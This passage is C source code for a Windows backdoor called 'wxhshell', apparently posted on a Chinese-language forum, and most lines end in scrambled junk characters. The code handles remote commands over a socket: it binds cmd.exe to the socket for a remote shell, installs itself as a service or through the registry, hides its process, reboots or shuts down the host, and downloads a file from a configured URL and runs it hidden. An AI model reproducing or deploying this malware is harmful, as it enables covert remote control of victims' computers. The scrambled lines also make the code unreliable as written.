  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [+GQ3Z\  
  else T_AZCl4d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FIU( 2  
  } *+p'CfsSka  
  else { Vg[U4,  
`q_7rrkO  
    switch(cmd[0]) { RSmxwx^  
  MiOSSl};  
  // 帮助 yJb;V#  
  case '?': { I8^z\ef&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k_}ICKzw1  
    break; zO)9(%LS  
  } PVEEKKJP]J  
  // 安装 j1d#\  
  case 'i': { -QS_bQG%  
    if(Install()) ,rX!V=Z5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <B u*:O  
    else $$qhX]^ ~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J)g(Nw,O  
    break; _5 y)m5I  
    } PrN?;Z.  
  // 卸载 yx/:<^"-$  
  case 'r': { Ti' GSL  
    if(Uninstall()) :l9C7o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4dfe5\  
    else QG9 2^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @~gz-l^$  
    break; C5sV-UMR  
    } )SDGj;j+  
  // 显示 wxhshell 所在路径 tO~H/0  
  case 'p': { M6?Qw=  
    char svExeFile[MAX_PATH]; @RaMO#  
    strcpy(svExeFile,"\n\r"); /Zv}u  
      strcat(svExeFile,ExeFile); VCc4nn#  
        send(wsh,svExeFile,strlen(svExeFile),0); _'j>xK  
    break; AH#e>kU^  
    } };zF&  
  // 重启 * 5P/&*c|  
  case 'b': { RPp_L>&~<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $k!@e M/R  
    if(Boot(REBOOT)) .-Ao%A W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lwv9oa|  
    else { +U6! bu>C  
    closesocket(wsh); TD3R/NP  
    ExitThread(0); oN _% oc  
    } _r,# l5~U  
    break; ~kN6Hr*X  
    } s` S<BX7  
  // 关机 *Li;:b"t  
  case 'd': { QCtG #/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BwBv 'p+n  
    if(Boot(SHUTDOWN)) $6oLiYFX;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bt j\v[D  
    else { 9Xm"kVqd/  
    closesocket(wsh); |`O7> (h  
    ExitThread(0); F` ?pZ  
    } V@Po}  
    break; N$=<6eQm  
    } fYCAwS{  
  // 获取shell +p43d:[  
  case 's': { Vx#xq#wK  
    CmdShell(wsh); TUk1h\.q  
    closesocket(wsh); e@Mm4&f[p  
    ExitThread(0); kF\ QO [  
    break;  %gf8'Q  
  } D@j `'&G  
  // 退出 `,7BU??+u  
  case 'x': { +F0M?,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zR`]8E]  
    CloseIt(wsh); x3M`l|  
    break; i.byHz?/  
    } }QC: !e,yG  
  // 离开 /Hd\VI  
  case 'q': { O~xc> w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;CU3CLn  
    closesocket(wsh); ="I]D I  
    WSACleanup(); bTn-Pg){  
    exit(1); K, 35*  
    break; EIf~>AI  
        } ("9)=x*5  
  } ex29rL3  
  } 0Z@u6{Z9R  
b1s1;8Q  
  // 提示信息 6w@l#p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9h9Y:i*Gh5  
} %Y!lEzB5  
  } Y*7.3 +#  
Kk/qd)nk  
  return; fCF93,?$  
} b8`O7@ar  
%F{@DN`  
// shell模块句柄 .UJDn^@  
int CmdShell(SOCKET sock) Zo&U3b{Dy  
{ m$$U%=r>@  
STARTUPINFO si; A>'o5+  
ZeroMemory(&si,sizeof(si)); < Gu s9^_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9RAN$\AKy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pRYt.}/K  
PROCESS_INFORMATION ProcessInfo; e+&/ Tq'2  
char cmdline[]="cmd"; a Fl(K\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EnfSVG8kB8  
  return 0; 7ZJYT#>b  
} b)`<J @&{  
$osDw1C  
// 自身启动模式 i*F^;-q)  
int StartFromService(void) 3tgct <"  
{ tF=96u_X  
typedef struct -o=qYkyLK  
{ ==Y^~ab;K  
  DWORD ExitStatus; i  #8)ad  
  DWORD PebBaseAddress; "S6d ^  
  DWORD AffinityMask; 1 "4AS_Q  
  DWORD BasePriority; 2.2 s>?\  
  ULONG UniqueProcessId; |qZ4h7wL  
  ULONG InheritedFromUniqueProcessId; Aw >DZ2  
}   PROCESS_BASIC_INFORMATION; 'Z;R!@Dm  
7<X_\,I  
PROCNTQSIP NtQueryInformationProcess; kkh#VGh"  
&:Raf5G-E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /y NU0/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4S+P]U*jW  
WJ/&Ag1  
  HANDLE             hProcess; X4 xnr^  
  PROCESS_BASIC_INFORMATION pbi; E?%rmdyhL!  
mGoUF$9 k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c!6.D  
  if(NULL == hInst ) return 0; 6&h,eQ!  
G;`+MgJ)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |nv8&L8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5J1,Usm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0~"{z >s '  
<sn^>5Ds  
  if (!NtQueryInformationProcess) return 0; y/ vE  
hoPCbjkov  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2}hEBw68  
  if(!hProcess) return 0; HjL+Wg  
.hn "NXy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [9*+s  
@_0XK)pW  
  CloseHandle(hProcess); (i&:=Bfn)  
Lw2EA 5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7)<&,BWc  
if(hProcess==NULL) return 0; NouT~K`'  
Sh=z  
HMODULE hMod; n{=vP`V_  
char procName[255]; ~#O nA1)  
unsigned long cbNeeded; <Y<%=`  
".~,(*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F d *p3a  
k${25*M!3  
  CloseHandle(hProcess); 0<nk>o  
 iCa#OQ  
if(strstr(procName,"services")) return 1; // 以服务启动 jIg]?4bW[  
@ 2Z{en?  
  return 0; // 注册表启动 }eSaF@.  
} CO-9-sQx  
AvH^9zEE(  
// 主模块 qy/xJ>:  
int StartWxhshell(LPSTR lpCmdLine) f D2. Zh  
{ eUQrn>`  
  SOCKET wsl; x7>' 1  
BOOL val=TRUE; O_*%_S}F&  
  int port=0; 3Vs8"BFjz  
  struct sockaddr_in door; 0.=dOz r  
N-y[2]J90  
  if(wscfg.ws_autoins) Install(); "V}WV!w  
|!,;IoZ  
port=atoi(lpCmdLine); 1F{c5  
SwXVa/9a"  
if(port<=0) port=wscfg.ws_port; <D%.'=%pZ  
PsaKzAg?  
  WSADATA data; :)p\a1I[*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4*P#3 B'@V  
2V:`':  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \0). ODA(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fl9`Mgu  
  door.sin_family = AF_INET; gwm!Pw j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #Ipi3  
  door.sin_port = htons(port); Vo"Wr>F  
8,7^@[bzXx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "A6m-xE~  
closesocket(wsl); QVJq%P  
return 1; ,` 6O{Z~  
} 2Jo|]>nl}u  
kNR -eG  
  if(listen(wsl,2) == INVALID_SOCKET) { F2QFQX(j  
closesocket(wsl); g]vo."}5E  
return 1; 41Hv)}Yd  
} e#!%:M;4P  
  Wxhshell(wsl); tp*.'p-SI  
  WSACleanup(); :m]H?vq] \  
OD]`oJ|  
return 0; J}BN}|Y@2  
X6 *4IE  
} <hvs{}TS  
Ra) wlI x  
// 以NT服务方式启动 %<8`(Uu5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /W9(}Id6  
{ R-LMV  
DWORD   status = 0; ( RO-~-  
  DWORD   specificError = 0xfffffff; 70Jx[3vr  
jVi> 9[rz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oq${}n<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3>M%?d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B\S}*IE  
  serviceStatus.dwWin32ExitCode     = 0; B>.x@(}V~  
  serviceStatus.dwServiceSpecificExitCode = 0; =HMa<"-8  
  serviceStatus.dwCheckPoint       = 0; M#n lKj<  
  serviceStatus.dwWaitHint       = 0; *,& 2?E8  
J/LsL k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R!f<6l8#W  
  if (hServiceStatusHandle==0) return; t xE=AOY5  
t.y-b`v  
status = GetLastError(); ~-R%m  
  if (status!=NO_ERROR) mC2K &'[  
{ ~(nc<M[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 76H>ST@G|  
    serviceStatus.dwCheckPoint       = 0; >Q $ph=  
    serviceStatus.dwWaitHint       = 0; @,Z0u2WLl6  
    serviceStatus.dwWin32ExitCode     = status; <aztbq?  
    serviceStatus.dwServiceSpecificExitCode = specificError; L"bZ~'y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >3ax `8  
    return; &^2SdF  
  } ZtyDip'x  
c+ D <  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wXjidOd $  
  serviceStatus.dwCheckPoint       = 0; \?SvO  
  serviceStatus.dwWaitHint       = 0; e,N}z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); is }>+&_  
} ]Hp>~Zvbb  
XeX\u3<D  
// 处理NT服务事件,比如:启动、停止 n{u\t+f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &AN1xcx\  
{ 3xT9/8*  
switch(fdwControl) .G.WPVE  
{ '2GnAws^  
case SERVICE_CONTROL_STOP: ^/_Yk.w  
  serviceStatus.dwWin32ExitCode = 0; /~M H]Gh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t0+i ]lr  
  serviceStatus.dwCheckPoint   = 0; K!]a+M]>  
  serviceStatus.dwWaitHint     = 0; k&2=-qgVR  
  { * xCY^_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h PL]B_<  
  } }R`Rqg-W  
  return; I`zd:o]  
case SERVICE_CONTROL_PAUSE: 5r`rstV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K+pVRDRcs  
  break; yQuL[#p  
case SERVICE_CONTROL_CONTINUE: h2 KI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7:,f|>  
  break; s$).Z(6  
case SERVICE_CONTROL_INTERROGATE: 'IG@JL'  
  break; _0(%^5Y  
}; ~: {05W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M@#T`aS  
} 9.8%Iw  
vfc:ok1  
// 标准应用程序主函数 s3HVX'   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -8xf}v~u  
{ Wl |5EY  
As<B8e]  
// 获取操作系统版本 P 0e-v0  
OsIsNt=GetOsVer(); jMgXIK\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GlnO8cAB  
yVII<ImqIH  
  // 从命令行安装 |~r-VV(=  
  if(strpbrk(lpCmdLine,"iI")) Install(); i|J%jA  
<XIIT-b[  
  // 下载执行文件 qT48Y  
if(wscfg.ws_downexe) { oQ 2$z8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )rq |t9kix  
  WinExec(wscfg.ws_filenam,SW_HIDE); >~SS^I0  
} r/2= nE  
5?lc%,-&  
if(!OsIsNt) { ^Jp,&  
// 如果时win9x,隐藏进程并且设置为注册表启动 )V\@N*L`ik  
HideProc(); #L~i|(=U5  
StartWxhshell(lpCmdLine); &)Xc'RQ.C  
} Lm TFvZ  
else &^r>Q`u  
  if(StartFromService()) OvtE)u l@  
  // 以服务方式启动 DMM<,1  
  StartServiceCtrlDispatcher(DispatchTable); f#= c=e-A  
else P.}d@qD{)  
  // 普通方式启动 ?@ F2Kv  
  StartWxhshell(lpCmdLine); 3''S x8p  
]1|P|Jp  
return 0; hq)1YO  
}
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只看该作者 1 发表于: 2006-10-10
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